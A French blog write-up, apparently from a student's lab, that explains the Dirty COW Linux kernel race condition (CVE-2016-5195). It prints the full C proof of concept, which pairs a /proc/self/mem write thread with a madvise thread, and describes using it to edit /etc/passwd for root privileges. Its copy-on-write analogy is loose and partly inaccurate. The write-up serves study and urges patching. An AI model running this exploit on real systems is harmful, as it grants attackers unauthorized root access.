CVE-2016-5195 (Dirty Cow)

Cow signifie copy-on-write (copie à l'écriture), présente dans les noyaux Linux depuis 2007 et découverte en 2016. Comme je suis en train de faire un lab sur ce CVE, j'en profite pour écrire une analyse à son sujet.

1. Introduction

Comme le noyau s'exécute avec les privilèges root, il peut être exploité comme une vulnérabilité d'élévation de privilèges. Cela signifie qu'un attaquant peut tirer parti d'une course critique (race condition) pour obtenir les droits root en l'exploitant depuis un utilisateur de bas niveau.

2. Qu'est-ce qu'une course critique ?

Comme je viens de l'apprendre dans mon cours de théorie des systèmes d'exploitation, une course critique se produit lorsque deux processus ou plus accèdent simultanément à une même ressource et effectuent des opérations sur celle-ci sans synchronisation appropriée. Les résultats de ces opérations peuvent alors être incorrects ou inattendus.

Pour mieux comprendre, prenons un exemple simple :

a = "h1n4m";   # on assigne une chaîne à a 
b = a;         # on assigne ensuite b = a

Ici, même si nous avons deux variables, les deux pointent vers le même objet mémoire. C'est un mécanisme du système d'exploitation, car il n'est pas nécessaire d'occuper le double de l'espace mémoire pour des valeurs identiques. Le SE attendra que la copie soit modifiée ; c'est à ce moment-là qu'il allouera une mémoire séparée pour l'autre variable.

b += "dep trai vcl"   # modification de la valeur de b, plus précisément ajout d'une chaîne à la fin

À ce moment, le SE effectuera les opérations suivantes :

Allouer de la mémoire pour la variable nouvellement modifiée.
Lire le contenu d'origine de l'objet copié.
Effectuer les modifications nécessaires, c'est-à-dire ajouter "dep trai vcl".
Écrire le contenu modifié dans le nouvel espace mémoire alloué.

La condition se produit entre l'étape 2 et l'étape 4, en trompant le mapping mémoire pour qu'il écrive le contenu modifié dans l'espace mémoire d'origine au lieu du nouvel espace alloué. Cela nous amène à modifier la mémoire appartenant à a, c'est-à-dire l'objet d'origine, plutôt que b, même si nous n'avons que des privilèges en lecture seule sur a.

3. Dirty cow

Passons maintenant à la partie principale : quelle est l'idée de l'exploit ? Comme nous le savons, les droits d'un utilisateur sont définis dans le fichier /etc/passwd et seul root peut modifier ce fichier. Alors, pouvons-nous exploiter la course critique pour modifier le contenu du fichier /etc/passwd depuis un utilisateur n'ayant que des droits en lecture ?

La réponse est oui. Tout d'abord, analysons le code de l'exploit appliqué à un exemple plus simple : Nguồn: https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6

Tout d'abord, nous créons un fichier dirtycow avec les permissions 644 (seul root a le droit d'écriture). On constate que l'écriture de "Hello" dans le fichier est refusée avec Permission denied.

La cible est donc prête, passons au code de l'exploit :

#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    int f=open("dirtycow", O_RDONLY);

    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr(map,"h1n4m");                        

    pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

Cet exploit est composé de trois threads : le thread principal, le thread writeThread et le thread madvise.

Le thread principal mappe notre fichier en mémoire :

    // Nous ouvrons d'abord notre fichier (notez qu'il est ouvert en lecture seule) 
    int f=open("dirtycow", O_RDONLY);

    // Ensuite, nous le mappons en mémoire COW avec MAP PRIVATE
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

Il cherche l'emplacement du motif à remplacer :

    // Utilisation de la fonction strstr pour trouver la position de "h1n4m" dans la mémoire mappée 
    char *position = strstr(map,"h1n4m");

Ensuite, nous démarrons deux threads, writeThread et madviseThread.

pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

writeThread :

    void *writeThread(void *arg)
    {
        char *content= "h4ck3r";
        off_t offset = (off_t) arg;
    
        int f=open("/proc/self/mem", O_RDWR);
        while(1) {
            // Déplace le pointeur exactement à l'endroit à modifier
            lseek(f, offset, SEEK_SET);
            // Modification en mémoire
            write(f, content, strlen(content));
        }
    }

Le rôle de ce thread est de remplacer la chaîne h1n4m par h4ck3r (ou n'importe quoi d'autre :> dangereux, non ?), mais comme la mémoire mappée est de type copy-on-write, ce thread ne peut modifier que le contenu de la copie de la mémoire mappée, sans provoquer aucun changement sur le fichier, non ?

Alors, où est le danger ? C'est ce que nous allons voir avec le thread restant.

madviseThread

    void *madviseThread(void *arg)
    {
        int file_size = (int) arg;
        while(1){
            madvise(map, file_size, MADV_DONTNEED);
        }
    }

Ce thread n'a qu'une seule tâche : supprimer la copie de la mémoire mappée, afin que le pointeur puisse potentiellement revenir à la mémoire mappée d'origine, c'est-à-dire au mapping mémoire initial.

Si ces deux threads s'exécutent de manière séquentielle, c'est-à-dire non multithread, la modification n'affectera toujours que la copie de la mémoire mappée, sans danger pour notre fichier protégé. Mais si ces deux threads sont appelés simultanément par le système, c'est-à-dire en multithread, que se passera-t-il ? Exactement, une course critique. Il arrivera un moment où le système se trompera et fera pointer le pointeur vers la mémoire mappée d'origine, modifiant ainsi les données du fichier root sans avoir le droit d'écriture. Mais le système d'exploitation ne se trompe pas à chaque fois, donc on exécute les deux threads dans une boucle infinie ; il suffit que le système se trompe une seule fois pour que tout se passe comme prévu.

Let's exploit

Revenons au problème principal : le fichier /etc/passwd ne peut être modifié que par root. Nous devons appliquer les connaissances ci-dessus pour modifier le groupe de lowuser dans le fichier /etc/passwd.

PoC En tant qu'utilisateur à faibles privilèges, nous n'avons pas le droit d'écriture sur le fichier dirtycow. Lowuser a été placé dans le même groupe que root (1001->0000)

4. Conclusion

À travers cette analyse, je vous ai présenté le CVE-2016-5195 surnommé « la vache sale ». Outre la modification de groupe, nous pouvons tout à fait ajouter un utilisateur directement dans le système ; la méthode reste la même. Bien que ce CVE soit très ancien, de nombreux systèmes utilisant d'anciens noyaux sont encore vulnérables. J'espère qu'à travers cet article vous aurez une compréhension générale de ce CVE ainsi que de la manière de protéger votre propre système. (mettez à jour votre noyau !!!!!)

Et moi, c'est h1n4m. Peaceeeee.

Research-CVE-2016-5195

Populaires